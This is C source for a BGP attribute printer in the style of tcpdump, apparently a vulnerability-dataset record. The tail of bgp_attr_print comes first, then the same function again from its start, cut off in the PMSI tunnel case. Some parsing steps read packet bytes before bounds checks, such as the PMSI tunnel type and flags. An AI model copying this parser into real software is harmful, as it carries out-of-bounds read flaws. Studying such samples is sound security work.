case BGP_AIGP_TLV:
if (length < 8)
goto trunc;
ND_PRINT((ndo, ", metric %" PRIu64,
EXTRACT_64BITS(tptr)));
break;
default:
if (ndo->ndo_vflag <= 1) {
print_unknown_data(ndo, tptr,"\n\t ", length);
}
}
tptr += length;
tlen -= length;
}
break;
}
case BGPTYPE_ATTR_SET:
ND_TCHECK2(tptr[0], 4);
if (len < 4)
goto trunc;
ND_PRINT((ndo, "\n\t Origin AS: %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_32BITS(tptr))));
tptr+=4;
len -=4;
while (len) {
u_int aflags, alenlen, alen;
ND_TCHECK2(tptr[0], 2);
if (len < 2)
goto trunc;
aflags = *tptr;
atype = *(tptr + 1);
tptr += 2;
len -= 2;
alenlen = bgp_attr_lenlen(aflags, tptr);
ND_TCHECK2(tptr[0], alenlen);
if (len < alenlen)
goto trunc;
alen = bgp_attr_len(aflags, tptr);
tptr += alenlen;
len -= alenlen;
ND_PRINT((ndo, "\n\t %s (%u), length: %u",
tok2str(bgp_attr_values,
"Unknown Attribute", atype),
atype,
alen));
if (aflags) {
ND_PRINT((ndo, ", Flags [%s%s%s%s",
aflags & 0x80 ? "O" : "",
aflags & 0x40 ? "T" : "",
aflags & 0x20 ? "P" : "",
aflags & 0x10 ? "E" : ""));
if (aflags & 0xf)
ND_PRINT((ndo, "+%x", aflags & 0xf));
ND_PRINT((ndo, "]: "));
}
/* FIXME check for recursion */
if (!bgp_attr_print(ndo, atype, tptr, alen))
return 0;
tptr += alen;
len -= alen;
}
break;
case BGPTYPE_LARGE_COMMUNITY:
if (len == 0 || len % 12) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_PRINT((ndo, "\n\t "));
while (len > 0) {
ND_TCHECK2(*tptr, 12);
ND_PRINT((ndo, "%u:%u:%u%s",
EXTRACT_32BITS(tptr),
EXTRACT_32BITS(tptr + 4),
EXTRACT_32BITS(tptr + 8),
(len > 12) ? ", " : ""));
tptr += 12;
len -= 12;
}
break;
default:
ND_TCHECK2(*pptr,len);
ND_PRINT((ndo, "\n\t no Attribute %u decoder", atype)); /* we have no decoder for the attribute */
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, pptr, "\n\t ", len);
break;
}
if (ndo->ndo_vflag > 1 && len) { /* omit zero length attributes*/
ND_TCHECK2(*pptr,len);
print_unknown_data(ndo, pptr, "\n\t ", len);
}
return 1;
trunc:
return 0;
}
| bgp_attr_print(netdissect_options *ndo,
u_int atype, const u_char *pptr, u_int len)
{
int i;
uint16_t af;
uint8_t safi, snpa, nhlen;
union { /* copy buffer for bandwidth values */
float f;
uint32_t i;
} bw;
int advance;
u_int tlen;
const u_char *tptr;
char buf[MAXHOSTNAMELEN + 100];
int as_size;
tptr = pptr;
tlen=len;
switch (atype) {
case BGPTYPE_ORIGIN:
if (len != 1)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK(*tptr);
ND_PRINT((ndo, "%s", tok2str(bgp_origin_values,
"Unknown Origin Typecode",
tptr[0])));
}
break;
/*
* Process AS4 byte path and AS2 byte path attributes here.
*/
case BGPTYPE_AS4_PATH:
case BGPTYPE_AS_PATH:
if (len % 2) {
ND_PRINT((ndo, "invalid len"));
break;
}
if (!len) {
ND_PRINT((ndo, "empty"));
break;
}
/*
* BGP updates exchanged between New speakers that support 4
* byte AS, ASs are always encoded in 4 bytes. There is no
* definitive way to find this, just by the packet's
* contents. So, check for packet's TLV's sanity assuming
* 2 bytes first, and it does not pass, assume that ASs are
* encoded in 4 bytes format and move on.
*/
as_size = bgp_attr_get_as_size(ndo, atype, pptr, len);
while (tptr < pptr + len) {
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "%s", tok2str(bgp_as_path_segment_open_values,
"?", tptr[0])));
ND_TCHECK(tptr[1]);
for (i = 0; i < tptr[1] * as_size; i += as_size) {
ND_TCHECK2(tptr[2 + i], as_size);
ND_PRINT((ndo, "%s ",
as_printf(ndo, astostr, sizeof(astostr),
as_size == 2 ?
EXTRACT_16BITS(&tptr[2 + i]) :
EXTRACT_32BITS(&tptr[2 + i]))));
}
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "%s", tok2str(bgp_as_path_segment_close_values,
"?", tptr[0])));
ND_TCHECK(tptr[1]);
tptr += 2 + tptr[1] * as_size;
}
break;
case BGPTYPE_NEXT_HOP:
if (len != 4)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr)));
}
break;
case BGPTYPE_MULTI_EXIT_DISC:
case BGPTYPE_LOCAL_PREF:
if (len != 4)
ND_PRINT((ndo, "invalid len"));
else {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%u", EXTRACT_32BITS(tptr)));
}
break;
case BGPTYPE_ATOMIC_AGGREGATE:
if (len != 0)
ND_PRINT((ndo, "invalid len"));
break;
case BGPTYPE_AGGREGATOR:
/*
* Depending on the AS encoded is of 2 bytes or of 4 bytes,
* the length of this PA can be either 6 bytes or 8 bytes.
*/
if (len != 6 && len != 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], len);
if (len == 6) {
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_16BITS(tptr)),
ipaddr_string(ndo, tptr + 2)));
} else {
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr),
EXTRACT_32BITS(tptr)), ipaddr_string(ndo, tptr + 4)));
}
break;
case BGPTYPE_AGGREGATOR4:
if (len != 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, " AS #%s, origin %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_32BITS(tptr)),
ipaddr_string(ndo, tptr + 4)));
break;
case BGPTYPE_COMMUNITIES:
if (len % 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
uint32_t comm;
ND_TCHECK2(tptr[0], 4);
comm = EXTRACT_32BITS(tptr);
switch (comm) {
case BGP_COMMUNITY_NO_EXPORT:
ND_PRINT((ndo, " NO_EXPORT"));
break;
case BGP_COMMUNITY_NO_ADVERT:
ND_PRINT((ndo, " NO_ADVERTISE"));
break;
case BGP_COMMUNITY_NO_EXPORT_SUBCONFED:
ND_PRINT((ndo, " NO_EXPORT_SUBCONFED"));
break;
default:
ND_PRINT((ndo, "%u:%u%s",
(comm >> 16) & 0xffff,
comm & 0xffff,
(tlen>4) ? ", " : ""));
break;
}
tlen -=4;
tptr +=4;
}
break;
case BGPTYPE_ORIGINATOR_ID:
if (len != 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s",ipaddr_string(ndo, tptr)));
break;
case BGPTYPE_CLUSTER_LIST:
if (len % 4) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "%s%s",
ipaddr_string(ndo, tptr),
(tlen>4) ? ", " : ""));
tlen -=4;
tptr +=4;
}
break;
case BGPTYPE_MP_REACH_NLRI:
ND_TCHECK2(tptr[0], 3);
af = EXTRACT_16BITS(tptr);
safi = tptr[2];
ND_PRINT((ndo, "\n\t AFI: %s (%u), %sSAFI: %s (%u)",
tok2str(af_values, "Unknown AFI", af),
af,
(safi>128) ? "vendor specific " : "", /* 128 is meanwhile wellknown */
tok2str(bgp_safi_values, "Unknown SAFI", safi),
safi));
switch(af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN):
case (AFNUM_INET<<8 | SAFNUM_MDT):
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
break;
default:
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "\n\t no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
goto done;
break;
}
tptr +=3;
ND_TCHECK(tptr[0]);
nhlen = tptr[0];
tlen = nhlen;
tptr++;
if (tlen) {
int nnh = 0;
ND_PRINT((ndo, "\n\t nexthop: "));
while (tlen > 0) {
if ( nnh++ > 0 ) {
ND_PRINT((ndo, ", " ));
}
switch(af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN):
case (AFNUM_INET<<8 | SAFNUM_MDT):
if (tlen < (int)sizeof(struct in_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr));
ND_PRINT((ndo, "%s",ipaddr_string(ndo, tptr)));
tlen -= sizeof(struct in_addr);
tptr += sizeof(struct in_addr);
}
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)(sizeof(struct in_addr)+BGP_VPN_RD_LEN)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr)+BGP_VPN_RD_LEN);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN)));
tlen -= (sizeof(struct in_addr)+BGP_VPN_RD_LEN);
tptr += (sizeof(struct in_addr)+BGP_VPN_RD_LEN);
}
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
if (tlen < (int)sizeof(struct in6_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in6_addr));
ND_PRINT((ndo, "%s", ip6addr_string(ndo, tptr)));
tlen -= sizeof(struct in6_addr);
tptr += sizeof(struct in6_addr);
}
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)(sizeof(struct in6_addr)+BGP_VPN_RD_LEN)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
ip6addr_string(ndo, tptr+BGP_VPN_RD_LEN)));
tlen -= (sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
tptr += (sizeof(struct in6_addr)+BGP_VPN_RD_LEN);
}
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < (int)sizeof(struct in_addr)) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], sizeof(struct in_addr));
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr)));
tlen -= (sizeof(struct in_addr));
tptr += (sizeof(struct in_addr));
}
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "%s", isonsap_string(ndo, tptr, tlen)));
tptr += tlen;
tlen = 0;
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
if (tlen < BGP_VPN_RD_LEN+1) {
ND_PRINT((ndo, "invalid len"));
tlen = 0;
} else {
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "RD: %s, %s",
bgp_vpn_rd_print(ndo, tptr),
isonsap_string(ndo, tptr+BGP_VPN_RD_LEN,tlen-BGP_VPN_RD_LEN)));
/* rfc986 mapped IPv4 address ? */
if (EXTRACT_32BITS(tptr+BGP_VPN_RD_LEN) == 0x47000601)
ND_PRINT((ndo, " = %s", ipaddr_string(ndo, tptr+BGP_VPN_RD_LEN+4)));
/* rfc1888 mapped IPv6 address ? */
else if (EXTRACT_24BITS(tptr+BGP_VPN_RD_LEN) == 0x350000)
ND_PRINT((ndo, " = %s", ip6addr_string(ndo, tptr+BGP_VPN_RD_LEN+3)));
tptr += tlen;
tlen = 0;
}
break;
default:
ND_TCHECK2(tptr[0], tlen);
ND_PRINT((ndo, "no AFI %u/SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
tptr += tlen;
tlen = 0;
goto done;
break;
}
}
}
ND_PRINT((ndo, ", nh-length: %u", nhlen));
tptr += tlen;
ND_TCHECK(tptr[0]);
snpa = tptr[0];
tptr++;
if (snpa) {
ND_PRINT((ndo, "\n\t %u SNPA", snpa));
for (/*nothing*/; snpa > 0; snpa--) {
ND_TCHECK(tptr[0]);
ND_PRINT((ndo, "\n\t %d bytes", tptr[0]));
tptr += tptr[0] + 1;
}
} else {
ND_PRINT((ndo, ", no SNPA"));
}
while (tptr < pptr + len) {
switch (af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix4(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_RT_ROUTING_INFO):
advance = decode_rt_routing_info(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN): /* fall through */
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST_VPN):
advance = decode_multicast_vpn(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MDT):
advance = decode_mdt_vpn_nlri(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix6(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_l2(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
advance = decode_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
default:
ND_TCHECK2(*tptr,tlen);
ND_PRINT((ndo, "\n\t no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr, "\n\t ", tlen);
advance = 0;
tptr = pptr + len;
break;
}
if (advance < 0)
break;
tptr += advance;
}
done:
break;
case BGPTYPE_MP_UNREACH_NLRI:
ND_TCHECK2(tptr[0], BGP_MP_NLRI_MINSIZE);
af = EXTRACT_16BITS(tptr);
safi = tptr[2];
ND_PRINT((ndo, "\n\t AFI: %s (%u), %sSAFI: %s (%u)",
tok2str(af_values, "Unknown AFI", af),
af,
(safi>128) ? "vendor specific " : "", /* 128 is meanwhile wellknown */
tok2str(bgp_safi_values, "Unknown SAFI", safi),
safi));
if (len == BGP_MP_NLRI_MINSIZE)
ND_PRINT((ndo, "\n\t End-of-Rib Marker (empty NLRI)"));
tptr += 3;
while (tptr < pptr + len) {
switch (af<<8 | safi) {
case (AFNUM_INET<<8 | SAFNUM_UNICAST):
case (AFNUM_INET<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix4(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix4(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_UNICAST):
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_UNIMULTICAST):
advance = decode_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_LABUNICAST):
advance = decode_labeled_prefix6(ndo, tptr, len, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else if (advance == -3)
break; /* bytes left, but not enough */
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET6<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_INET6<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_prefix6(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_VPLS<<8 | SAFNUM_VPLS):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_L2VPN<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_l2(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_UNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_MULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_UNIMULTICAST):
advance = decode_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNMULTICAST):
case (AFNUM_NSAP<<8 | SAFNUM_VPNUNIMULTICAST):
advance = decode_labeled_vpn_clnp_prefix(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MDT):
advance = decode_mdt_vpn_nlri(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
case (AFNUM_INET<<8 | SAFNUM_MULTICAST_VPN): /* fall through */
case (AFNUM_INET6<<8 | SAFNUM_MULTICAST_VPN):
advance = decode_multicast_vpn(ndo, tptr, buf, sizeof(buf));
if (advance == -1)
ND_PRINT((ndo, "\n\t (illegal prefix length)"));
else if (advance == -2)
goto trunc;
else
ND_PRINT((ndo, "\n\t %s", buf));
break;
default:
ND_TCHECK2(*(tptr-3),tlen);
ND_PRINT((ndo, "no AFI %u / SAFI %u decoder", af, safi));
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, tptr-3, "\n\t ", tlen);
advance = 0;
tptr = pptr + len;
break;
}
if (advance < 0)
break;
tptr += advance;
}
break;
case BGPTYPE_EXTD_COMMUNITIES:
if (len % 8) {
ND_PRINT((ndo, "invalid len"));
break;
}
while (tlen>0) {
uint16_t extd_comm;
ND_TCHECK2(tptr[0], 2);
extd_comm=EXTRACT_16BITS(tptr);
ND_PRINT((ndo, "\n\t %s (0x%04x), Flags [%s]",
tok2str(bgp_extd_comm_subtype_values,
"unknown extd community typecode",
extd_comm),
extd_comm,
bittok2str(bgp_extd_comm_flag_values, "none", extd_comm)));
ND_TCHECK2(*(tptr+2), 6);
switch(extd_comm) {
case BGP_EXT_COM_RT_0:
case BGP_EXT_COM_RO_0:
case BGP_EXT_COM_L2VPN_RT_0:
ND_PRINT((ndo, ": %u:%u (= %s)",
EXTRACT_16BITS(tptr+2),
EXTRACT_32BITS(tptr+4),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_EXT_COM_RT_1:
case BGP_EXT_COM_RO_1:
case BGP_EXT_COM_L2VPN_RT_1:
case BGP_EXT_COM_VRF_RT_IMP:
ND_PRINT((ndo, ": %s:%u",
ipaddr_string(ndo, tptr+2),
EXTRACT_16BITS(tptr+6)));
break;
case BGP_EXT_COM_RT_2:
case BGP_EXT_COM_RO_2:
ND_PRINT((ndo, ": %s:%u",
as_printf(ndo, astostr, sizeof(astostr),
EXTRACT_32BITS(tptr+2)), EXTRACT_16BITS(tptr+6)));
break;
case BGP_EXT_COM_LINKBAND:
bw.i = EXTRACT_32BITS(tptr+2);
ND_PRINT((ndo, ": bandwidth: %.3f Mbps",
bw.f*8/1000000));
break;
case BGP_EXT_COM_VPN_ORIGIN:
case BGP_EXT_COM_VPN_ORIGIN2:
case BGP_EXT_COM_VPN_ORIGIN3:
case BGP_EXT_COM_VPN_ORIGIN4:
case BGP_EXT_COM_OSPF_RID:
case BGP_EXT_COM_OSPF_RID2:
ND_PRINT((ndo, "%s", ipaddr_string(ndo, tptr+2)));
break;
case BGP_EXT_COM_OSPF_RTYPE:
case BGP_EXT_COM_OSPF_RTYPE2:
ND_PRINT((ndo, ": area:%s, router-type:%s, metric-type:%s%s",
ipaddr_string(ndo, tptr+2),
tok2str(bgp_extd_comm_ospf_rtype_values,
"unknown (0x%02x)",
*(tptr+6)),
(*(tptr+7) & BGP_OSPF_RTYPE_METRIC_TYPE) ? "E2" : "",
((*(tptr+6) == BGP_OSPF_RTYPE_EXT) || (*(tptr+6) == BGP_OSPF_RTYPE_NSSA)) ? "E1" : ""));
break;
case BGP_EXT_COM_L2INFO:
ND_PRINT((ndo, ": %s Control Flags [0x%02x]:MTU %u",
tok2str(l2vpn_encaps_values,
"unknown encaps",
*(tptr+2)),
*(tptr+3),
EXTRACT_16BITS(tptr+4)));
break;
case BGP_EXT_COM_SOURCE_AS:
ND_PRINT((ndo, ": AS %u", EXTRACT_16BITS(tptr+2)));
break;
default:
ND_TCHECK2(*tptr,8);
print_unknown_data(ndo, tptr, "\n\t ", 8);
break;
}
tlen -=8;
tptr +=8;
}
break;
case BGPTYPE_PMSI_TUNNEL:
{
uint8_t tunnel_type, flags;
tunnel_type = *(tptr+1);
flags = *tptr;
tlen = len;
ND_TCHECK2(tptr[0], 5);
ND_PRINT((ndo, "\n\t Tunnel-type %s (%u), Flags [%s], MPLS Label %u",
tok2str(bgp_pmsi_tunnel_values, "Unknown", tunnel_type),
tunnel_type,
bittok2str(bgp_pmsi_flag_values, "none", flags),
